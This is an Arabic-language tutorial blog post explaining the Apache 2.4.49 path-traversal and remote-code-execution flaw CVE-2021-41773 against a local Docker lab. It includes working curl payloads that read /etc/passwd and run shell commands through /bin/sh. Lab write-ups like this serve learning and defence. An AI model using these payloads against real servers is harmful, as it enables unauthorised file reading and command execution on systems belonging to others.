
CVE-2021-41773
مرحبًا يا رفاق، بالأمس تم إصدار ثغرة CVE-2021-41773 الجديدة الخاصة بـ apache الإصدار 2.4.49. في هذه الحالة، أريد أن أشرح هذه الثغرة في apache.
لذا، أعتقد أنكم يا رفاق تريدون اختبار هذه الثغرة على موقع ويب. لذا لدي ساحة تجربة لكم. هذا هو الموقع لتنزيل صورة docker الخاصة بمثال apache 2.4.49 صورة Docker
ملاحظة: هناك صورتان وهما with-cgid و no-cgid. يجب عليك تنزيل كلتا الصورتين
أولًا قم بتنزيل صورة docker image على جهازك.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
بصراحة، لا أعرف كيف اهتدى إلى اكتشاف هذه الثغرة. لذا لا يمكنني شرح ذلك بالكامل. لكنني سأبذل قصارى جهدي للحديث عن كل ما فهمته بخصوص هذه الـ CVE.
هذه الـ CVE مثيرة للاهتمام بعض الشيء لأنها تحتوي على ثغرتين. إنهما LFDكشف الملفات المحلية و RCE تنفيذ الأوامر عن بُعد. رائع!. لذا، في هذا المنشور سأشرح كلتا الثغرتين الخاصتين بهذه الـ CVE.
إذن، لنبدأ مع ثغرة كشف الملفات المحلية. إذا كنت معتادًا على apache، يمكنك ملاحظة أن cgi-bin(واجهة البوابة المشتركة) هو المسار الافتراضي الذي يحدد طريقة لخادم الويب للتفاعل مع البرامج الخارجية المولِّدة للمحتوى في apache-2.4.49
لكن هذا المسار Forbidden للجميع وحتى للمشرف. همم، هذا مثير للاهتمام، أليس كذلك؟
وإذا كنت معتادًا على ثغرة كشف الملفات المحلية، فربما تعلم أن معظم ثغرات LFD تحدث في المسارات المحظورة.
لذا دعونا نختبر حمولات LFI البسيطة في مسار /cgi-bin/.
لقد وضعت ../../../../../ قبل /etc/paswd.
(إذا كنت تريد معرفة ما هو ../ اطّلع على هذا المنشورتجاوز كشف الملفات المحلية)
باستخدام curl:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

باستخدام burpsuite:

كما ترون، حصلنا على خطأ مع هذه الحمولة البسيطة. في curl حصلنا على رمز الحالة 404 خطأ Not Found وفي Burp حصلنا على خطأ 400 Bad Request.
إذن هذا يعني أنه يجب علينا ترميز حمولتنا إلى ترميز URL. لذا دعونا نجرب ذلك ونرى ما الذي سنحصل عليه.
لذا قمت بترميز . إلى Url. ملاحظة: . هي %2E وأيضًا %2e في ترميز url.
باستخدام curl:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

باستخدام Burp:

أجل!. حمولتنا نجحت الآن. يمكننا قراءة /etc/passwd الخاص بالموقع.
لذا أتمنى أنكم فهمتم الآن ثغرة LFD الخاصة بهذه الـ CVE. إذن، لنكمل إلى ثغرة RCE الخاصة بهذه الـ CVE الخاصة بـ apache 2.4.49.
لشرح ثغرة RCE الخاصة بهذه الـ CVE، تحتاج إلى فهم بعض أساسيات RCE وأساسيات linux.
اطّلع على هذا المنشور لتعرف ما هو RCE
آه، أعتقد أنكم ظننتم أنني أخطأت عندما قلت إننا نحتاج إلى linux basics. كلا. لم أقل خطأ لأننا فعلًا نحتاجها. إذن لنبدأ!
أولًا دعني أُريك الحمولة العاملة وسأشرح كيف عملت.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
باستخدام Curl:

دعني إذن أشرح هذه الحمولة.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
كما ترون، المسار /cgi-bin/ والترميز .%2e هما نفس الشيء. لكن هناك خياران إضافيان الآن. إنهما -d بيانات و /bin/sh /bin/bash. لذا، دعني أشرح لماذا نحتاج إلى وضع هذين.
أولًا، نريد الحصول على تنفيذ الأوامر عن بُعد، أليس كذلك؟
كما تعلمون أنه في الأنظمة المبنية على linux، فإن /bin/bash هو الجزء الرئيسي لتنفيذ الأوامر وكتابتها والتعامل مع الصدَفات (shells). لذا نحتاج إلى bash لتنفيذ أوامرنا في خادم الويب. اطّلع على هذاما هو Bash في linux.
حسنًا الآن، لنفترض أننا نستطيع الحصول على /bin/sh. نحتاج فقط إلى حقن أوامرنا. يمكننا وضع حقنتنا كبيانات مع curl.
إذن حمولتنا هي C|echo;id. دعني أشرح ما هذا.
إذن C لا تعني شيئًا. يمكننا وضع أي شيء نريده قبل |. مثل Comdey|.
إن echo;id هي مجرد حيلة في linux.لذا، قلت إننا نحتاج إلى أساسيات linux أساسيات Echo
إذا جمعنا هذه معًا سنحصل على RCE في apache 2.4.49.
شكرًا للقراءة يا رفاق. هذه أول كتابة (writeup) لي عن CVEs. سامحوني إذا كان شرحي لهذا الأمر سيئًا. وأيضًا من فضلكم أعطوني اقتراحاتكم.
